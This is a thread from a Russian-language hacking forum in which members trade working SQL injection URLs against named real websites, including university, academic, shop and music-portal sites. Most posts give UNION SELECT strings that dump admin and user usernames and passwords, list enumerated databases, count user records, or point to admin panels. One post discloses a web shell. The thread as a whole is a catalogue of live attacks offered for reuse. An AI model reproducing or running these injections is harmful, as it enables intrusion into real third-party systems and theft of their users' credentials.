SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    843
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://www.bravosolutions.com/saint_petersburg_establishment.php?z=-12+union+select+1,2,group_concat%28table_name%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75+from+information_schema.tables+where+table_schema=database%28%29+--+
    :)
     
    1 person likes this.
  2. красавец

    Joined:
    26 Jan 2012
    Messages:
    15
    Likes Received:
    4
    Reputations:
    5
    www.intel-foto.ru

    тиц 100
    Внизу страницы

    www.solidwaste.ru

    тиц 230

    www.goroddosug.ru

    тиц 40
     
    #14782 красавец, 23 Apr 2012
    Last edited: 23 Apr 2012
    1 person likes this.
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    814
    Reputations:
    848
    [email protected]:5.1.56-log:kingkra_db
    [email protected]:5.1.61-cll:alviol_alviol
     
    _________________________
    2 people like this.
  4. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PR2 5.1.51
     
  5. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    720
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.canis.no/rugaas/oneqanda.php?id=-704+/*!union*/+/*!select*/+concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,2,3,4--
    Username: [email protected]
    Version: 5.0.51a-community-log
    Database: Canis

    GooglePR: 4 Page: 1,960,000
     
    1 person likes this.
  6. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,777
    Likes Received:
    848
    Reputations:
    857
    Желаете поиграть в букмекерской конторе нахаляву для тренировки мозга ???

    А запросто !!


    Inject

    Code:
    _ttp://www.betgames.ru/strategy/page.php?id=99%27+union+select+1,2,3,version%28%29,5,6+and+%27a%27=%27a
    PR = 3

    Логинимся тут => _ttp://www.betgames.ru/virtual/login.php


    Ах да, это симулятор а не реальная контора, тока для тренировки навыков, так что тут всё чисто )
     
    _________________________
    1 person likes this.
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    PR=5

    PHP:
    http://www.sunyorange.edu/ce/announcement.php?announce_id=-422'+union+select+1,concat_ws(0x03a,username,pass),3,4,5,6,7+from+users--+
    Не забываем смотреть robots.txt Там много интересностей.
     
  8. красавец

    Joined:
    26 Jan 2012
    Messages:
    15
    Likes Received:
    4
    Reputations:
    5
    http://www.bigtool.ru шоп

    тиц 40

    админа предупредил неделю назад, но ему видимо всё равно.
     
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    Турецкий шоп. Админка находится по стандартному пути, но очень смущает вид и формат хеша :) В разделе криптографии не помогли - дерзай, юный кулхацкер, может у тебя получится.

    PHP:
    http://www.gurmebebek.com/index.php?id=-1+union+select+1,2,3,4,concat_ws(0x03a,user_id,user_name,user_pass),6,7,8,9,10,11,12+from+gb_users--
    Админа уведомить не удалось, ввиду сильного языкового барьера :)
     
  10. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    910
    Likes Received:
    468
    Reputations:
    722
    ТИЦ - 60
    ПР - 4
    Всё о синтезе звука и речи (http://pr-cy.ru/analysis/speech-soft.ru)
    Админ уведомлён =)
     
    _________________________
  11. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,777
    Likes Received:
    848
    Reputations:
    857
    Так как спустя полгода мой шелл снесли, выкладываю в паблик

    Крупный музыкальный портал (типа zay[antigoogle]cev.net)

    www.bia2.com

    PR = 5

    Inject
    PHP:
    _ttp://www.bia2.com/horoscopes/horoscopes_today.php?id=99+and+1=2+union+select+null,null,null,null,null,@@version,null,null,null,null,null,null,null,null
    Current User: [email protected]
    Sql Version: 5.0.77
    Current DB: soltan_horoscope

    Data Bases:
    Code:
    information_schema
    mysql
    nyre
    r1soft_saved_database_XzZYj0
    r1soft_saved_database_aGNipq
    soltan_bia2
    soltan_horoscope
    soltan_ivbd1
    soltan_jokes
    soltan_mp3
    soltan_music
    soltan_pourya
    soltan_prankcalls
    soltan_review
    soltan_users
    soltan_video
    Немного о вкусняшках;

    1) БД юзверей - около 35к

    PHP:
    _ttp://www.bia2.com/horoscopes/horoscopes_today.php?id=99+and+1=2+union+select+null,null,null,null,null,%28SELECT+count%28*%29+FROM+%60soltan_ivbd1%60.ibf_members%29,null,null,null,null,null,null,null,null
    2) БД юзверей - около 72к

    PHP:
    _ttp://www.bia2.com/horoscopes/horoscopes_today.php?id=99+and+1=2+union+select+null,null,null,null,null,%28SELECT+count%28*%29+FROM+%60soltan_users%60.users%29,null,null,null,null,null,null,null,null
     
    _________________________
    2 people like this.
  12. eregis

    eregis Member

    Joined:
    15 Jul 2010
    Messages:
    104
    Likes Received:
    5
    Reputations:
    -5
    Так и не смог прочитать данные с таблицы gulfcoas_s9y кто розобрался стучите 477080587 буду рад поучится.
    Ну а вот сюда не пускает жду пояснений))
     
  13. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    980
    Likes Received:
    523
    Reputations:
    173
    http://all-abc.ru/

    тиц 30
    трафа 2К
     
    1 person likes this.
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    Любителям коллекционировать юзверей.

    PHP:
    http://www.oesworld.com/EbosRegister_cand.php?JID=-1+union+select+1,2,count(*)4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+users--
     
  15. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    PHP:
    http://www.club-beat.com/print.php?what=article&id=-564+union+select+1,2,group_concat(nick,0x3a,pass),4,5,6,7,8,9+from+admins+--+
    PR=3
    PHP:
    http://www.academia.pan.pl/dokonania.php?id=-564+union+select+1,2,3,4,group_concat(r_id,0x3a,r_nick,0x3a,r_email,0x3a,r_pass),6,7,8,9,10,11,12,13,14,15,16,17+from+admin_redaktorzy+--+
    PR=4
    одминка http://www.academia.pan.pl/cms/
     
    #14795 DyukiN, 28 Apr 2012
    Last edited: 28 Apr 2012
  16. eregis

    eregis Member

    Joined:
    15 Jul 2010
    Messages:
    104
    Likes Received:
    5
    Reputations:
    -5
    DataBases
    information_schema
    generator
    hofmann
    hofmann_20110327
    hofmann_latin1
    hofmann_supermailer
    hofmanntest2
    hofmannumfrage
    myadmin
    mysql
    test
    twig

    Inject
     
    1 person likes this.
  17. eregis

    eregis Member

    Joined:
    15 Jul 2010
    Messages:
    104
    Likes Received:
    5
    Reputations:
    -5
    Bases
    u72568
    u72568_2
    u72568_3
    u72568_4
    u72568_blog
    u72568_interview
    u72568_press
    u72568_proiz
    u72568_testdrive


     
  18. eregis

    eregis Member

    Joined:
    15 Jul 2010
    Messages:
    104
    Likes Received:
    5
    Reputations:
    -5
    боянчик)
    http://drive-penza.ru/index.php?get=13&model=-71+union+select+1,2,3,4,5,6,group_concat(schema_name+separator+0x3C62723E),8,9,10,11,12+from+information_schema.schemata--
     
    1 person likes this.
  19. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    Пафосный пользователь сайта на бесплатном хостинге. Улыбнул.

    PHP:
    http://www.appnaeducation.com/edu/?loc=view&act=app&jid=-53+union+select+1,2,3,4,5,concat_ws(0x03a,USERNAME,PASSWORD),7,8,9,10,11,12,13,14,15,16,17+from+users+where+UID=13--
     
  20. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    нашел

     
Loading...
Thread Status:
Not open for further replies.